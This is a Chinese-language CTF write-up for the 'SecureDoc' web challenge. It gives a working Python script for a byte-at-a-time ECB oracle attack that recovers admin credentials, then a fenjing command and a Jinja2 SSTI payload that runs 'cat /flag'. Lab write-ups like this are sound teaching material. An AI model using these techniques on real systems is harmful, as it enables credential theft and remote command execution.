SecureDoc | SOLVED | pig8086
首先注册一个账号,进入用户面板。
发现有一个加密测试功能,发送64个0,发现某一段密文重复了4次。输入空内容,也会返回内容,说明前面被拼接了一段82字节隐藏的东西。
我们可以将隐藏内容的字符一个个挤进去进行加密。首先发15个a,挤入1个字符,记下块密文,尝试128种字符,将密文与刚才记下的内容比对,得到挤入字符。然后发送14个a和刚才推算出的字符,这样再挤入一个,推算出该字符,最终得到全部82字节。
import requests
import string
url = "http://web-6fc14710b4.adworld.xctf.org.cn/documents/apply-template"
user_cookie = {"session": "eyJpc19hZG1pbiI6ZmFsc2UsInVzZXJfaWQiOjIsInVzZXJuYW1lIjoicGlnIn0.ads1Yg.7EX8jWYqPmBO_iSrIGul4ysfw8I"}
found_secret = ""
session = requests.Session()
session.cookies.update(user_cookie)
total_secret_len = 82
for i in range(total_secret_len):
padding_len = 15 - (len(found_secret)%16)
payload = "a" * padding_len
target_block_idx = len(found_secret)//16
res = session.post(url, json={"content": payload}).json()
target_cipher = res['preview']['encrypted_content']
target_chunk = target_cipher[target_block_idx*32:(target_block_idx+1)*32]
found_char = False
for char in (string.printable):
test_payload = payload + found_secret + char
res_test = session.post(url, json={"content": test_payload}).json()
test_cipher = res_test['preview']['encrypted_content']
test_chunk = test_cipher[target_block_idx*32:(target_block_idx+1)*32]
if target_chunk == test_chunk:
found_secret += char
print(f"found so far: {found_secret}")
found_char = True
break
if not found_char:
print("fail")
break;
print(f"\n Final: {found_secret}")得到结果
*******SecureDoc,username:suP3r@dm!n ******** password: S3cur3P@ssOTUwZWQ1! ******使用管理员账号登录,发现管理员后台可以SSTI,但是存在违禁词。使用fenjing进行自动扫描:
python -m fenjing crack-json --url "http://web-6fc14710b4.adworld.xctf.org.cn/admin/report/preview" --method POST --json-data "{\"template\": \"\"}" --key template --cookies "session=eyJpc19hZG1pbiI6dHJ1ZSwidXNlcl9pZCI6MSwidXNlcm5hbWUiOiJzdVAzckBkbSFuIn0.adtJfQ.G2IYyGYiccNp8WMgsaccQvN4PLM" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" --header "Content-Type: application/json" --environment flask执行命令:
cat /flagFenjing 自动提交 payload:
{{((cycler.next|attr('_''_globals__')).os.popen('cat /flag')).read()}}得到 Flag
flag{BYC7eE6Ork8jUxCIXA8H3oJ5DKIixKec}
本页的评论功能已关闭